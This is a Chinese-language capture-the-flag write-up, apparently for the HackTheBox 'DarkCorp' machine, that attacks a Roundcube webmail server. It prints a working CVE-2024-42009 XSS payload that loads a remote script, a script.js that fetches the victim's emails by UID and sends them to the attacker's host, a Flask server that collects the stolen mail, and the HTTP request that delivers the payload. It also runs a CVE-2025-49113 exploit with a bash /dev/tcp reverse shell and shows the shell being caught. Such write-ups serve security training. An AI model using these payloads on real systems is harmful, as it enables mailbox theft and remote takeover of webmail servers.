Roundcube Webmail

Roundcube Webmail 是一个免费且开源的,基于 Web 的 IMAP 电子邮件客户端
Pasted image 20260117132448.png

1. 利用

1.1. CVE-2024-42009 ruoundcube XSS

在查看2024年的CVE中,我发现 CVE-2024-42009的exp已经被公开
Pasted image 20260117212236.png

漏洞描述:允许远程攻击者通过特制的电子邮件窃取和发送受害者的电子邮件,该电子邮件滥用program/actions/mail/show.phpmessage_body()这个反清理函数

漏洞的下方提供了一个poc

<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">
  Foo
</body>

Pasted image 20260117214243.png
Pasted image 20260117214230.png

由于目标网站开启了httpOnly,所以我无法窃取到cookie
Pasted image 20260117212012.png

0xdf在他的wp中提供了一种很好的利用方式--加载外部js. 好处就是我们无需重复发包调整我们的payload,只需要修改script.js。然后重复查看邮件即可

var script = document.createElement('script');
script.src = 'http://10.10.14.86/script.js';
document.head.appendChild(script);

这里使用JS的内置函数atob()(ASCII to Binary)来避免格式错误的问题

<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwpzY3JpcHQuc3JjID0gJ2h0dHA6Ly8xMC4xMC4xNC44Ni9zY3JpcHQuanMnOwpkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdCk7')) foo=bar">
  Foo
</body>

JS的内置函数atob()(ASCII to Binary)用于解码Base64字符串

向我自己发送带有此payload的邮件
当我查看此邮件时,我发现请求了我的script.js文件

┌──(root㉿kali)-[~/Desktop/htb/DarkCorp]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.86 - - [17/Jan/2026 09:08:09] "GET /script.js HTTP/1.1" 200 -
10.10.14.86 - - [17/Jan/2026 09:08:09] "GET /script.js HTTP/1.1" 200 -
10.10.14.86 - - [17/Jan/2026 09:08:10] "GET /script.js HTTP/1.1" 200 -

现在已经可以加载我们的js了。下一步我需要让其加载恶意js文件利用

我注意到没封邮件都是有一个递增的uid,我可以尝试递归获取其他用户的的邮件内容
Pasted image 20260117221544.png
参考0xdf提供的payload。使用如下的script.js

for (let i = 1; i <= 15; i++) {
        fetch(`http://mail.drip.htb/?_task=mail&_action=show&_uid=${i}&_mbox=INBOX&_extwin=1`, {mode: 'no-cors'})
                .then((resp) => resp.text())
                .then((text) => fetch(`http://10.10.14.86/?id=${i}&exfil=` + btoa(text))
        )
}

然后使用下面的python脚本进行接收

from flask import Flask, request, send_file
import base64
import logging

app = Flask(__name__)

log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)

@app.route('/')
def index():
    query_string = request.query_string.decode('utf-8')

    mid = None
    exfil = None

    for param in query_string.split('&'):
        if '=' in param:
            key, value = param.split('=', 1)
            if key == 'id':
                mid = value
            elif key == 'exfil':
                exfil = value

    decoded = base64.b64decode(exfil)
    if not b'SERVER ERROR!' in decoded:
        fn = f'bcase_{mid}.html'
        with open(fn, 'wb') as f:
            f.write(decoded)
        print(f'Wrote email to {fn}')

    return 'Request received'

@app.route('/script.js')
def serve_script():
    try:
        return send_file('script.js', mimetype='application/javascript')
    except FileNotFoundError:
        return 'File not found', 404

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

ps: 你可以使用beef-xss 来进行XSS攻击
Pasted image 20260118154035.png

然后向管理员bcase@drip.htb发送带有恶意payloadD邮件

POST /contact HTTP/1.1
Host: drip.htb
Content-Length: 392
Cache-Control: max-age=0
Origin: http://drip.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://drip.htb/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiNjJiZDUzZTBjNDk5ZWYwYWZhYTc2NTlkOTkzNTA2NmZmNjgzNjQxZSJ9.aWsemA.GfmjmwXHe0ripuWdQ-SFt4MVw0s
Connection: keep-alive

name=123&email=123%40123.com&message=<body+title%3d"bgcolor%3dfoo"+name%3d"bar+style%3danimation-name%3aprogress-bar-stripes+onanimationstart%3deval(atob('dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwpzY3JpcHQuc3JjID0gJ2h0dHA6Ly8xMC4xMC4xNC44Ni9zY3JpcHQuanMnOwpkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdCk7'))+foo%3dbar">
++Foo
</body>&content=html&recipient=bcase@drip.htb
┌──(root㉿kali)-[~/Desktop/htb/DarkCorp]
└─# python app.py
 * Serving Flask app 'app'
 * Debug mode: off
Wrote email to bcase_2.html
Wrote email to bcase_1.html
Wrote email to bcase_3.html

不一会,我收到了来自管理员邮件列表。他只有三封有效的邮件

1.2. CVE-2025-49113

Pasted image 20260119173205.png
CVE-2025-49113 是一个针对roundcube before 1.5.10 and 1.6.x before 1.6.11的RCE漏洞


┌──(root㉿kali)-[~/Desktop/htb/DarkCorp/CVE-2025-49113-exploit]
└─# php CVE-2025-49113.php http://mail.drip.htb  admin admin 'bash -c "bash -i >& /dev/tcp/10.10.14.86/4444 0>&1"'
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10607
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...

──────────────────────────────────────────────────────────────────────────────────────────
┌──(root㉿kali)-[~/Desktop/htb/DarkCorp]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.86] from (UNKNOWN) [10.129.232.7] 63910
bash: cannot set terminal process group (507): Inappropriate ioctl for device
bash: no job control in this shell
www-data@drip:/$ whoami
whoami
www-data
www-data@drip:/$